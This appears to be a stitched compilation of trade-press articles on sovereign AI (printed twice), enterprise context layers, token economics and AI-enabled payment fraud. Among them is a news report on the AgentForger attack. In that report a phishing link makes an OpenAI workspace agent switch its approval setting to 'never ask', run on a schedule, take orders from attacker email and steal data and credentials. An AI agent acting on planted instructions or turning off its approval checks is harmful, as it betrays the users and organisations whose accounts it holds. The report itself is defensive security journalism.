In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.

They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a January 2026 Tony Blair Institute analysis, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?

The 5 layers of public-sector control

For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:

• Data control: Where sensitive public data sits, and whether it can train a vendor’s model.
• Model control: Which models clear which workloads, and under what validation.
• Infrastructure control: Whether critical workloads run in approved environments.
• Operational control: Whether AI-assisted actions are logged, monitored and reversible.
• Vendor control: Whether the agency keeps portability, audit rights and a real exit.

Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “AI without sovereignty is just outsourced intelligence”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.

Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.

Evaluating risk: Concentration, jurisdiction and shadow AI

Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update crashed about 8.5 million Windows machines, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.

The second is jurisdiction. In June 2025, Microsoft’s legal director for France told a Senate inquiry, under oath, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold about 70% of the European cloud market, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.

The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.

Mandating domestic-only provision before a competitive option exists inverts sovereignty. Europe 2031, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.

Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform serving 100 million-plus inferences a month across 22-plus languages on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.

Building an operational sovereignty strategy

Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s 2025 review of government AI warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.

None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an “expensive distraction” that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.

Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:

1. Can we classify AI workloads by public-service risk?
2. Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?
3. Can we restrict which models are approved for which data classes and functions?
4. Can we reconstruct an AI-assisted action in enough detail to explain it?
5. Can we change providers without losing continuity or institutional knowledge?
6. Can we explain the system to citizens, regulators, auditors and elected officials?

A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

A new attack method found by Zenity Labs reveals that AI agents are becoming persistent insiders that attackers can recruit, rather than malware they have to install.

Its researchers have discovered AgentForger, a phishing-based attack that silently creates and launches a fully autonomous AI agent within OpenAI workspaces.

Once running, the agent has full access to apps like Outlook, Slack, SharePoint, and Google Drive. It is configured to operate indefinitely without further user interaction, can approve its own access by toggling “never ask” settings, and can continue to act on new assignments sent via email by the attackers that control it. Broad, unfettered access to systems allows it to perform reconnaissance, harvest sensitive data and credentials, impersonate victims, and launch phishing campaigns.

While OpenAI resolved the vulnerability four days after disclosure, on a larger scale, AgentForger sheds light on what can happen when AI agents go rogue.

“We’re moving into a world where software doesn’t just help people work. It works alongside them,” said Michael Bargury, co-founder and CTO of agentic AI security platform Zenity. “As AI agents become more capable, attackers will naturally look for ways to influence them, just as they’ve always looked for ways to influence people.”

A ‘persistent operator’ that acts without approval

OpenAI’s Workspace Agents can connect and work autonomously across Outlook, Gmail, Slack, Google Drive, SharePoint, and Teams. Users open the agent builder, describe what the agent can do in natural language, connect to tools, set approvals, review and test, schedule actions, then publish. For instance, an agent can autonomously handle incoming emails, review and take actions with approval, gather information from various sources to send out daily briefings, or automatically respond to questions in ChatGPT or Slack channels.

Normally, this is “useful automation,” Zenity AI red team researcher Mike Takahashi wrote in a blog post. But in this attack, “the same scheduler becomes the persistence mechanism.”

The creation workflow kicks off the moment a user clicks on a phishing link containing instructions from the threat actor. For the attack to work, a victim must be logged into ChatGPT and Workspace Agents, and have at least one integration with another app, such as Outlook, Gmail, Slack, Google Drive, SharePoint, or Teams.

Because those connections already exist, OAuth consent screens are not triggered. Furthermore, the victim does not need to click on another link, keep a Builder tab open, or even visit ChatGPT again.

The forged agent is a “persistent operator;” it is installed on the original click and given a schedule, and at those predetermined times, the agent invokes itself, scans for emails from attacker addresses with the subject line “task”, carries those orders out, then returns results to the same attacker-controlled email address.

It goes undetected because the attacker prompt instructs the Builder to toggle Outlook to never ask for approval of its actions. Typically, the default is “always ask,” to keep agents from taking unauthorized action; that switch gives agents the ability to act without asking for human approval.

“AgentForger showed that an attacker could deploy an autonomous insider agent inside your ChatGPT workspace with a single click,” said Bargury. From there, it can continue to access information, harvest credentials from various sources, impersonate employees, and carry out phishing attacks and fraud while “leveraging the trusted victim’s identity.”

A ‘planted accomplice’ that does all the work

Once activated, AgentForger can perform reconnaissance to create an internal map of a company. For instance, agents can scan Outlook, Slack, Teams, Google Drive, SharePoint, or calendar data to identify people, roles, active projects, internal discussions, or all-hands recurring meetings. This can help attackers identify where in the enterprise to target next, based on active teams and channels, projects in the works, or prominent users.

“This is the kind of internal context an attacker normally has to build slowly,” Takahashi noted. But in this scenario, action is based on a single emailed assignment. The attacker’s “planted accomplice” does all the work.

In another scenario, the agent can steal data by searching for and identifying financial documents, business agreements, or invoices. Or, it can steal credentials by scanning for messages containing passwords, one-time codes, access tokens, password recovery links, or API keys. Further, it can impersonate victims to carry out phishing scams, for instance, by sending legitimate-looking Teams messages instructing users to confirm their credentials on a fake Microsoft login page.

In all cases, collected information is organized, analyzed, and sent back to the attacker.

“AgentForger points to something much bigger than a single vulnerability,” said Bargury. “It’s less about one bug and more about understanding how the security model changes as AI becomes part of everyday business operations.”

FOMO exposing security gaps

This isn’t necessarily about trust, but more about the need to move fast and adapt, Bargury emphasized. AI agents are helping employees automate work, make decisions faster, and get more done. But enterprises fear they’ll fall behind if they don’t move quickly enough.

“The challenge is that we’re introducing a fundamentally new kind of technology into the enterprise,” said Bargury. “The pressure to integrate the next AI feature is outpacing the security controls needed to safely deploy it.”

However, the answer isn’t to slow down adoption, he emphasized; the business value is too significant. Rather, the first step is understanding where AI agents exist, who created them, what they’re connected to, and what they’re allowed to do. And when it comes to autonomous agents, enterprises need to pay attention to the processes that trigger them: A schedule, an incoming email, or another automated event.

“Those triggers should be governed just as carefully as the agent itself,” said Bargury.

High-impact actions should require approval where appropriate, and security teams should be able to quickly disable an agent or its triggers if something doesn’t look right, he said.

More broadly, AI agents are introducing the need for a new security model, he pointed out. The question is no longer just “Does this agent have permission?” It’s also, “Is this the behavior we intended?”

“The organizations that answer both questions will be in the strongest position to adopt AI safely,” Bargury said.

In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.

They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a January 2026 Tony Blair Institute analysis, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?

The 5 layers of public-sector control

For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:

• Data control: Where sensitive public data sits, and whether it can train a vendor’s model.
• Model control: Which models clear which workloads, and under what validation.
• Infrastructure control: Whether critical workloads run in approved environments.
• Operational control: Whether AI-assisted actions are logged, monitored and reversible.
• Vendor control: Whether the agency keeps portability, audit rights and a real exit.

Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “AI without sovereignty is just outsourced intelligence”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.

Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.

Evaluating risk: Concentration, jurisdiction and shadow AI

Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update crashed about 8.5 million Windows machines, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.

The second is jurisdiction. In June 2025, Microsoft’s legal director for France told a Senate inquiry, under oath, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold about 70% of the European cloud market, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.

The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.

Mandating domestic-only provision before a competitive option exists inverts sovereignty. Europe 2031, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.

Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform serving 100 million-plus inferences a month across 22-plus languages on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.

Building an operational sovereignty strategy

Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s 2025 review of government AI warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.

None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an “expensive distraction” that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.

Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:

1. Can we classify AI workloads by public-service risk?
2. Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?
3. Can we restrict which models are approved for which data classes and functions?
4. Can we reconstruct an AI-assisted action in enough detail to explain it?
5. Can we change providers without losing continuity or institutional knowledge?
6. Can we explain the system to citizens, regulators, auditors and elected officials?

A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing them.

McKinsey’s AI Trust Maturity Survey found that while overall AI maturity scores have improved, only about a third of organizations have reached a mature level of strategy and governance. Technical capability is advancing faster than organizational alignment. In my view, the gap is not a model problem. It is a context problem. Enterprises are feeding generic inputs into powerful models because sharing organizational context seamlessly with AI is neither easy nor intuitive today.

Building the analytical and creative capabilities to scale AI, something I explored in a recent piece on the left-brain and right-brain approach to enterprise AI, is necessary but not sufficient. Before either can function effectively, the enterprise needs something more fundamental. AI that actually understands the contextual fabric of the organization it is operating in. A frontier model has processed everything written about your sector, your competitors and your regulatory landscape. It cannot access the reasoning embedded in years of delivery decisions, the patterns encoded in how your teams scope and deliver work over time. That knowledge is organizational memory, and frontier models can’t get that easily. It exists inside every enterprise but has never been structured, connected or made available to any AI system. Without it, even the most capable model answers a generic version of your question.

The next competitive advantage in enterprise AI will not come from a better model. It will come from a better organizational context.

One global technology enterprise set out to solve this across its own operations, building a modular ecosystem of domain-specific agents grounded in its own data across contracting, talent and vendor management workflows. What emerged was not just operational efficiency but a shared intelligence layer connecting decisions across functions for the first time.

Competitive differentiation was never about the tools

Consider what actually separates high-performing enterprises from the rest. In a regulated industry like financial services or healthcare, organizations cannot meaningfully differentiate on product. A bank cannot offer substantially different products or services. A health system uses the same clinical protocols and the same electronic health record (EHR) platforms as its peers. What varies is everything underneath: the rigor of processes, the coherence of cross-functional decisions and the people who carry years of accumulated organizational judgment in how they make those decisions.

An organization with a proper context layer in place can say with precision that for this type of engagement, in this sector, with this risk profile, our institutional history tells us exactly where we stand. That level of specificity is what most enterprises have never made available to AI.

The enterprise AI brain that every organization has but has never assembled

Every enterprise already possesses what I think of as an enterprise AI brain. The problem is that it has never been assembled in one place. The data exists across contracts, project documentation, talent records, delivery metrics and the operational communications of daily execution — the informal reasoning that rarely makes it into formal systems.

None of the standard enterprise platforms were designed to connect this. A customer relationship management (CRM) system captures customer interactions. An enterprise resource planning (ERP) system captures transactions. A project management tool captures tasks and timelines. None of them captures the reasoning behind decisions and none of them surfaces a coherent picture of how the organization actually thinks and operates.

BCG’s study across hundreds of companies found that only 10% of AI value comes from the algorithms and another 20% from the technology that implements them, meaning the remaining 70% depends on people, processes and organizational change. The organizations extracting real value are those that have made their institutional knowledge available to AI in a structured, governed way.

Building a contextual AI fabric

A Contextual AI Fabric is the technical and organizational layer that makes the Enterprise AI Brain usable. It brings together unstructured data ingestion, semantic structuring, retrieval pipelines and governed model access to give AI systems the organizational context they need to produce outputs that are genuinely specific to your enterprise rather than generically accurate about your industry. It rests on three pillars. Core is the secure, governed and interoperable foundation that AI operations run on. Context is reliable, traceable access to the organization’s data, processes, knowledge and history. Coordination connects people, agents, applications and systems into process-driven workflows with clear controls and accountability, so the organization acts as one rather than a set of disconnected functions.

The data layer is where most organizations underestimate the work. Contracts, project reports, talent assessments and operational communications require extraction, chunking, embedding and indexing before a model can retrieve and reason over them meaningfully.

The semantic layer is what makes retrieval meaningful. Even well-ingested data fails if functions use different terminology for the same concepts. What legal calls a contract, delivery calls a scope. Without a shared ontology, AI systems remain precise about the wrong thing. And retrieval alone, however well-structured, only takes an organization so far. Retrieval surfaces the right information at the moment of a query, but it does not give a model genuine memory of the organization. The real source of unique, organization-level relevance comes from training domain-specific small language models on this context directly, models that carry organizational memory forward rather than fetching it fresh every time. That is what ultimately separates a Contextual AI Fabric from a well-organized database.

The governance layer is not an add-on. Access controls, data lineage, approval thresholds and human checkpoints need to be designed in before any agent goes into production. Security is not a layer you add afterward. It is the condition under which organizational AI is worth building. If the institutional intelligence that makes your enterprise distinct gets absorbed into a frontier model’s training data, it becomes everyone’s baseline. That is an architectural decision made, or avoided, at the point of deployment.

Proprietary by design

The institutional knowledge that makes up a contextual AI fabric — delivery history, commercial patterns, talent intelligence and operating culture — is proprietary in ways no external model can replicate. This is as much a security imperative as it is a competitive one. Organizational context, once exposed, cannot be unexposed.

Most enterprises are using AI to automate existing processes rather than questioning whether those processes should be redesigned entirely. The organizations extracting the most value are those willing to ask whether their current operating model, built before GenAI existed, is the one they would build today. That question is harder than any technology decision, and it is also the most consequential one.

From context to coordinated action

Context alone is not enough. When a delivery risk surfaces in project data, the talent function needs to respond. When a commercial signal changes in contract data, operations need to recalibrate. This kind of cross-functional coordination, driven by shared organizational intelligence rather than siloed data, is where the real value of enterprise AI shows up and where the absence of a shared context layer becomes most visible.

A global leader in digital payments and business services found its AI deployments across payroll, HR and risk compliance, each running in isolation, with no shared governance or common data foundation. Once the organization established a unified governance backbone connecting its operational data through a shared retrieval layer, business users could query across domains in plain language and new use cases across fraud analytics, forecasting and policy extraction became extensible without rebuilding infrastructure for each one. The shift was not in the models. It was in the shared foundation underneath them.

The leadership question behind the technology question

The enterprises pulling ahead in AI are not winning on model quality but on organizational memory. The ones that have done the hard work of structuring their institutional knowledge into a governed, secure Contextual AI Fabric are giving their AI something no competitor can replicate: the accumulated intelligence of how the business actually operates.

For CIOs, the question is no longer which model to deploy. It is whether the organization has built the foundation that would make any model worth deploying.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?

What if it comes from applying principles that physicists have understood for more than a century?

According to Gartner, rising token-driven AI spend is straining budgets and challenging cost justification. As organizations race to deploy generative AI and agentic systems, token consumption dominates nearly every executive discussion: How many tokens did we use? How much did inference cost? Can we reduce our AI bill?

These are important operational questions. But they are not the strategic questions.

I believe the economics of enterprise AI can be viewed through the lens of three well-established principles from thermodynamics: the conservation of energy, entropy, and exergy.

While these principles describe physical systems — not AI —they offer a useful way to think about how organizations should measure AI success.

Principle 1: Value is created through transformation

The 1^st Law of Thermodynamics tells us that energy cannot be created or destroyed. It can only be transformed.

Enterprise AI presents a similar management lesson: Tokens are not valuable because they are consumed; they become valuable only when they are transformed into business outcomes: A faster loan application decision. A better customer experience. Faster and more accurate software. Reduced fraud. Higher employee productivity. A new product. A strategic insight.

The executive question therefore is not, “How many tokens did we consume?” It is: “How much business value did those tokens create?”

This leads to a new executive metric: return on tokens (ROT).

Just as organizations measure return on investment, they should begin measuring the business value generated for every million AI tokens consumed.

The organizations that win will not necessarily consume fewer tokens. They will generate more value from every token they use.

Principle 2: Every transformation creates waste

The 2nd Law of Thermodynamics teaches us that every energy transformation introduces inefficiencies.

Some energy inevitably becomes less useful for doing work.

The same pattern appears in enterprise AI: Not every token contributes equally to business outcomes.

Some are spent on:

• Repeated prompts
• Oversized context windows
• Redundant reasoning
• Hallucinations requiring correction
• Multiple agents performing the same work
• Expensive models solving simple problems

Those tokens are not “lost.” They simply produce very little business value.

I think of this as token entropy. Every enterprise deploying AI will experience it. The goal is not to eliminate token entropy completely — that would be unrealistic. The goal is to continuously identify it, measure it and reduce it. Because every unnecessary token represents an opportunity to improve both cost and business performance.

Principle 3: Useful work matters more than energy consumed

Thermodynamics introduces another important idea: Exergy.

Unlike energy, exergy measures how much energy can actually be converted into useful work. Two systems may consume the same amount of energy while producing dramatically different results.

The same is true for enterprise AI.

Imagine two companies each consuming one billion tokens. One produces meeting summaries. The other transforms claims operations, accelerates software delivery, detects fraud, improves customer retention, and creates new revenue opportunities. Both consumed the same number of tokens. Only one extracted significantly more business value.

Borrowing this concept as a management analogy, I call this token exergy.

Token exergy represents an organization’s ability to convert AI intelligence into meaningful business outcomes:

• High token exergy means AI is solving important business problems.
• Low token exergy means AI is generating activity without creating proportional enterprise value.

The distinction matters, because activity is not the same as impact.

A new responsibility for CIOs

For years, CIOs have monitored infrastructure: Cloud costs, storage, network utilization, GPU consumption.

These metrics remain important, but they tell only part of the story.

Token usage needs to be measured, planned, optimized and governed with the same discipline as any other cloud resource. This means that the next generation of CIO dashboards should answer different questions:

• What is our return on tokens?
• Where is token entropy reducing our effectiveness?
• How much token exergy are we generating?
• Which AI initiatives produce the greatest business value?
• Which use cases create the strongest competitive advantage?

These are no longer technology metrics. They are business metrics.

The next generation of CIOs will not simply deploy AI. They will manage an economy of intelligence.

Their role will resemble that of a portfolio manager — allocating AI capacity where it creates the greatest enterprise value, reducing waste and continuously improving the productivity of every autonomous workflow.

That responsibility cannot be fulfilled by dashboards alone.

It requires an intelligent layer capable of observing, learning and optimizing the entire AI  ecosystem. Three-layer enterprise agentic architecture Will enable this.

The next competitive advantage

Every major technology revolution eventually shifts from measuring inputs to measuring outcomes:

• Factories stopped measuring coal consumption and began measuring productivity.
• Cloud computing evolved beyond server utilization to business agility.
• Digital businesses measured customer acquisition costs and lifetime value.

Enterprise AI is approaching the same inflection point. Organizations that focus only on token costs will optimize for efficiency. Organizations that measure return on tokens, minimize token entropy and maximize token exergy will optimize for business transformation.

That is a fundamentally different objective. And I believe it will separate AI leaders from AI followers.

Because in the end, the future of enterprise AI will not be determined by how many tokens an organization consumes. It will be determined by how effectively those tokens are transformed into lasting business value. The AI adoption spending spree is over. Time to focus on value.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesson for $25 million, joining a video call with what appeared to be the engineering firm’s chief financial officer and several colleagues, receiving instructions to wire funds to a designated account, and complying. Every face on the screen was a deepfake, cloned from publicly available footage of the actual executives. The attackers conducted the entire meeting in real time and vanished before anyone in the organization realized the CFO had never logged on.

The incident would be remarkable enough as a one-off, but it represents a pattern accelerating well beyond isolated cases. Global payment fraud reached $33.4 billion in 2024 according to the Nilson Report, and the US absorbed a disproportionate 42% of those losses despite processing only 25% of global card transactions. The latest FBI Internet Crime report identifies more than one million complaints and nearly $21 billion in cyber-enabled crime losses in 2025 (up from $16 million in 2023), while Deloitte projects AI-enabled fraud in the US will hit $40 billion by 2027. This increasingly includes crypto-related fraud, not just credit card or traditional banking fraud.

For anyone who oversees financial operations, risk or payment technology infrastructure, these numbers are not forecasts of a future “regional conflict.” Instead, they are the current cost of a war most institutions have not yet recognized they are fighting.

Reconnaissance at scale: How AI redraws the attacker’s map

The conventional narrative around AI-powered fraud emphasizes speed: Faster phishing, faster credential stuffing, faster social engineering. Jason Kikta, CTO of Automox, sees the shift differently. “The main threat from AI misuse isn’t faster execution, as automation has been leveraged for years,” Kikta says. “The true dangers are lower barriers to entry and faster adaptation, giving attackers the ability to pivot techniques in near real-time.”

The distinction means that execution is a quantitative improvement, the kind existing defenses can absorb by scaling up. Lower barriers to entry and real-time adaptation are qualitative: A force multiplier that turns every amateur into an equipped operator with a coach that learns from each failed attempt. Deepfake-as-a-service platforms now produce voice clones from three seconds of audio. AI-driven vulnerability scanning maps an institution’s unpatched endpoints while the security team is still scheduling the review meeting. In 2024, 269 million stolen credit card records appeared on dark web platforms, giving AI-equipped attackers what military intelligence analysts would call an order of battle: A detailed map of the defender’s exposed positions, ready to be mined for patterns, tested against live systems and exploited at machine speed.

The result is a combined arms threat, one that operates across domains simultaneously the way a competent military force coordinates air, ground and intelligence rather than running them as independent campaigns. The same AI that crafts a convincing business email compromise can probe unpatched point-of-sale systems to install digital skimmers. The same synthetic identity that opens a fraudulent credit card account can exploit a payment authorization vulnerability discovered through automated scanning. Card-not-present fraud now accounts for 71% of all US card fraud losses, and the attack surface keeps expanding as digital wallets and e-commerce push more transactions into channels where physical card verification is impossible.

Attackers treat endpoint management gaps and transaction monitoring gaps as a single attack surface, while most defenders continue to patrol them as separate territories.

Fragmented command: The structural vulnerability AI exploits

Consider how most financial institutions, crypto platforms and digital asset intermediaries actually organize their defenses: A cybersecurity team focused on identity compromise, endpoint protection and infrastructure threats; a fraud team focused on account takeover, mule networks and scam typologies; an AML or financial crimes team focused on wallet screening, sanctions exposure and suspicious activity reporting; and an AI risk or digital trust team, if one exists at all, focused on synthetic media, model abuse and impersonation. Each function has its own tooling, budget, reporting line and intelligence feeds. In crypto markets, where value can move irreversibly across wallets, chains, mixers, exchanges and OTC brokers in minutes, those silos create exploitable gaps between detection, attribution, interdiction and recovery.

A pig-butchering scam that begins on a dating app, migrates to WhatsApp, directs a victim to a fake crypto investment platform, and then launders proceeds through nested services and cross-chain bridges is not just a fraud event. It is also a cybersecurity event, a financial crimes event, an identity event, a platform abuse event and, increasingly, an AI-enabled social engineering event. Chainalysis reported that high-yield investment scams and pig-butchering schemes were among the most successful crypto scam types in 2024, while also noting growing use of AI in fraud and scams.

Research published by the University of California, Davis found that these schemes follow a staged lifecycle: Trust-building, fabricated investment returns, escalating deposits, withdrawal obstruction and re-targeting of victims after the initial loss. When each part of that lifecycle is monitored by a different team, the institution sees fragments of the attack rather than the economic system of the crime.

“Fraud no longer happens in isolated channels,” observes Jeff Li, Global Product & Designer Lead at Binance. “AI-powered scams move seamlessly across platforms, and payment systems, making fragmented defenses increasingly ineffective.” He believes that the future of security depends on unified intelligence — combining AI, real-time monitoring, secure infrastructure and cross-functional response mechanisms into a single coordinated defense system.

“We’ve invested heavily in AI-driven risk detection, real-time scam warnings and infrastructure to stay ahead of evolving threats, continues Li, claiming that from Q1 2025 to Q1 2026, these efforts helped Binance prevent over $10 billion in potential user losses and protected more than 5 million users globally. As AI continues to reshape both fraud and fraud prevention, the focus remains on building systems that can protect users, not just at scale, but in real time.

Unified command: From org chart to battle plan

Kikta’s assessment contains a contrarian detail worth teasing apart: “The good news is that a strong compliance program prioritizing depth of coverage and speed of enforcement will hold up against AI-enabled fraud,” he says. In a landscape saturated with predictions that existing defenses are obsolete, Kikta argues that the fundamentals of patch management, endpoint hygiene and compliance rigor still hold, provided the clock speed at which those fundamentals execute keeps pace with the adversary.

That clock speed is the operational link between cybersecurity and card fraud prevention. An unpatched point-of-sale terminal or payment gateway exposed for 30 days represents 30 days of reconnaissance opportunity for an AI scanner probing for places to install a digital skimmer or intercept card data in transit. A compliance gap in identity verification is an open invitation for synthetic identities to open accounts and run fraudulent transactions. Endpoint management data and transaction monitoring data describe the same attack surface from different angles, and fusing those streams into a single operational picture, the financial equivalent of a military intelligence fusion center, gives defenders something the current siloed structure cannot: Visibility into an attack developing across domains before it reaches the payment layer.

The value of that convergence extends beyond defense. A unified data layer across cyber, fraud and payments creates consolidated threat intelligence that can inform underwriting decisions, merchant risk scoring and product design. Organizations that treat converged security data as a business intelligence asset (not merely an operational feed) will find they have built something with commercial utility well beyond the security operations center.

